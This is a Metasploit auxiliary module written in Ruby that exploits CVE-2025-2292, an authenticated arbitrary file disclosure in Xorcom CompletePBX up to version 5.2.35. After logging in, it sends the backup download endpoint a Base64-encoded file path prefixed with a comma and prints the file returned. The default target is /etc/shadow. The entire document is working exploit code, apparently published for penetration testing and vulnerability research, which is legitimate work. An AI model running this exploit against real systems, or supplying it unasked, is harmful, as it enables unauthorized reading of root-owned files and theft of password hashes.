## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::CompletePBX prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Xorcom CompletePBX Authenticated File Disclosure via Backup Download', 'Description' => %q{ This module exploits an authenticated file disclosure vulnerability in CompletePBX <= 5.2.35. The issue resides in the backup download function, where user input is not properly validated, allowing an attacker to access arbitrary files on the system as root. The vulnerability is triggered by setting the `backup` parameter to a Base64-encoded absolute file path, prefixed by a comma `,`. This results in the server exposing the file contents directly. }, 'Author' => [ 'Valentin Lobstein' # Research and module development ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-2292'], ['URL', 'https://xorcom.com/new-completepbx-release-5-2-36-1/'], ['URL', 'https://chocapikk.com/posts/2025/completepbx/'] ], 'Privileged' => true, 'DisclosureDate' => '2025-03-02', 'Platform' => %w[linux unix], 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [] } ) ) register_options( [ OptString.new('USERNAME', [true, 'Username for authentication', 'admin']), OptString.new('PASSWORD', [true, 'Password for authentication']), OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/shadow']) ] ) end def check completepbx? end def run sid_cookie = completepbx_login(datastore['USERNAME'], datastore['PASSWORD']) encoded_path = ',' + Rex::Text.encode_base64(datastore['TARGETFILE']) print_status("Attempting to read file: #{datastore['TARGETFILE']} (Encoded as: #{encoded_path})") res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI']), 'method' => 'GET', 'headers' => { 'Cookie' => sid_cookie }, 'vars_get' => { 'class' => 'core', 'method' => 'download', 'backup' => encoded_path } }) fail_with(Failure::Unreachable, 'No response from target') unless res fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") unless res.code == 200 fail_with(Failure::NotVulnerable, 'No content retrieved; target not vulnerable or file empty') if res.body.to_s.empty? doc = res.get_html_document doc.at('//b[contains(text(),"Fatal error")]') fatal_regex = %r{\r?\n\s*Fatal error}i content, separator, = res.body.partition(fatal_regex) content = res.body if separator.empty? print_good("Content of #{datastore['TARGETFILE']}:\n#{content.rstrip}") end end